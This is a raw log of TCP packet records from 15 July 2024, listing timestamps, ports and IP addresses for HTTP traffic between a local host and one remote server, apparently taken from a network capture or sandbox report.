Jul 15, 2024 00:48:36.159123898 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159226894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159245014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159256935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159266949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159280062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159288883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159291983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159301043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159312963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159321070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159323931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159337044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159348011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159358978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159358978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159382105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159409046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159470081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159480095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159492970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159503937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159513950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159516096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159538984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159548998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159559965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159567118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159575939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159591913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159601927 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159603119 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159619093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159627914 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159631014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159643888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159665108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159673929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159686089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159689903 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159723043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159796000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159807920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159818888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159838915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159842968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159857988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159871101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159874916 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159883022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159895897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159905910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159915924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159919977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159931898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159940958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159945965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159957886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159967899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159970999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159986019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.160012007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.186944962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.186955929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.186965942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.186975956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.186988115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.186997890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.187010050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.187062025 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.187114954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.240681887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.240794897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.240807056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.240828037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.240839005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.240852118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.240869045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.240896940 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.240896940 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.240962982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.246656895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246668100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246676922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246694088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246706009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246711969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246717930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246725082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246728897 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.246759892 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.246820927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246831894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246843100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246854067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246864080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246870041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.246875048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.246891022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.246923923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247239113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247251034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247262001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247273922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247282028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247284889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247298002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247311115 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247323990 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247358084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247381926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247392893 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247394085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247406960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247421980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247430086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247435093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247457027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247551918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247562885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247569084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247574091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247579098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247598886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247610092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247620106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247622967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247631073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247648001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247658968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247669935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247672081 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247680902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247690916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247693062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247703075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247714043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247720003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247728109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247733116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247746944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.247760057 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247792959 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.247996092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248008013 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248018026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248029947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248040915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248045921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248054028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248065948 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248066902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248080015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248090982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248100996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248106003 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248106003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248112917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248131037 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248156071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248157024 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248168945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248179913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248198986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248209953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248209953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248224974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248234034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248236895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248249054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248258114 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248260975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248267889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248272896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248277903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248298883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248311996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248315096 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248322964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248330116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248342991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248354912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248362064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248366117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248378038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248385906 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248389959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248403072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248414040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248420954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248425961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248436928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248445034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248451948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248459101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248462915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248492002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248500109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248508930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248513937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248533964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248543978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248545885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248558044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248569012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248569965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248579979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248590946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248594046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248603106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248606920 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248613119 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248625040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248631954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248636961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248657942 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248661041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248671055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.248675108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248688936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.248708963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.276932955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.277112961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.277147055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.277184010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.277199984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.277254105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.277288914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.277322054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.277335882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.277359009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.277409077 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.328910112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.328990936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.329001904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.329011917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.329027891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.329041004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.329052925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.329063892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.329071045 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.329114914 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.334851980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334863901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334875107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334911108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334919930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.334923029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334937096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334953070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.334955931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334969044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.334974051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.334980965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335007906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335017920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335019112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335031033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335043907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335068941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335098028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335110903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335122108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335134029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335158110 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335181952 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335609913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335622072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335633039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335644007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335654974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335655928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335668087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335681915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335690022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335702896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335714102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335724115 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335725069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335737944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335747957 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335747957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335762024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335774899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335805893 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335829020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335834980 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335834980 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335839987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335851908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335865021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335880995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335900068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335911989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335922003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335922003 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335935116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335947037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335952044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.335958958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.335977077 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336000919 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336193085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336205959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336219072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336230040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336241961 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336242914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336261988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336270094 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336273909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336286068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336302042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336304903 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336340904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336342096 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336354017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336374044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336375952 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336386919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336399078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336410046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336410999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336424112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336436033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336441994 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336451054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336457968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336460114 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336479902 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336489916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336503029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336514950 CEST	80	57614	23.227.193.59	192.168.2.5
